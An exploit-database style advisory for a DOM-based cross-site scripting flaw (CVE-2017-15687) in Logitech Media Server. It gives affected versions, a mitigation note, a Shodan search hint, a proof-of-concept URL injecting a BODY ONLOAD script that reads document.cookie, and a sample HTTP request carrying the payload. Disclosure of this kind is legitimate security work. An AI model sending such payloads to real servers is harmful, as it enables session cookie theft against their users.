DOM Based Cross Site Scripting (XSS) - Logitech Media Server

vendor:

Logitech Media Server

by:

Thiago 'THX' Sena

6,1

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Logitech Media Server

Affected Version From: 7.7.3

Affected Version To: 7.9.1

Patch Exists: YES

Related CWE: CVE-2017-15687

CPE: a:logitech:logitech_media_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10

2017

DOM Based Cross Site Scripting (XSS) – Logitech Media Server

A DOM-based XSS vulnerability was discovered in Logitech Media Server, which allows an attacker to inject malicious JavaScript code into the application. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'BODY ONLOAD' parameter. A remote attacker can execute arbitrary HTML and script code in a browser in the context of the vulnerable website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to prevent the execution of malicious code. The application should also use a secure flag in the HTTP response header to prevent the execution of malicious code.

Source

Exploit-DB raw data:

# Exploit Title: DOM Based Cross Site Scripting (XSS) - Logitech Media Server
# Shodan Dork: Logitech Media Server 
# Date: 14/10/2017
# Exploit Author: Thiago "THX" Sena
# Vendor Homepage: https://www.logitech.com
# Tested on: windows 10
# CVE : CVE-2017-15687

-----------------------------------------------

PoC:

- First you go to ( http://IP:PORT/ )

- Then put the script ( <BODY ONLOAD=alert(document.cookie)> )

- ( http://IP:PORT/<BODY ONLOAD=alert(document.cookie)> )

- Xss Vulnerability

---------------------------------------------------

[Versões Afetadas]

7.7.3
7.7.5
7.9.1
7.7.2
7.7.1
7.7.6
7.9.0


[Request]

GET /%3Cbody%20onload=alert('Xss')%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Squeezebox-expandPlayerControl=true; Squeezebox-expanded-MY_MUSIC=0; Squeezebox-expanded-RADIO=0; Squeezebox-expanded-PLUGIN_MY_APPS_MODULE_NAME=0; Squeezebox-expanded-FAVORITES=0; Squeezebox-expanded-PLUGINS=0
Connection: close
Upgrade-Insecure-Requests: 1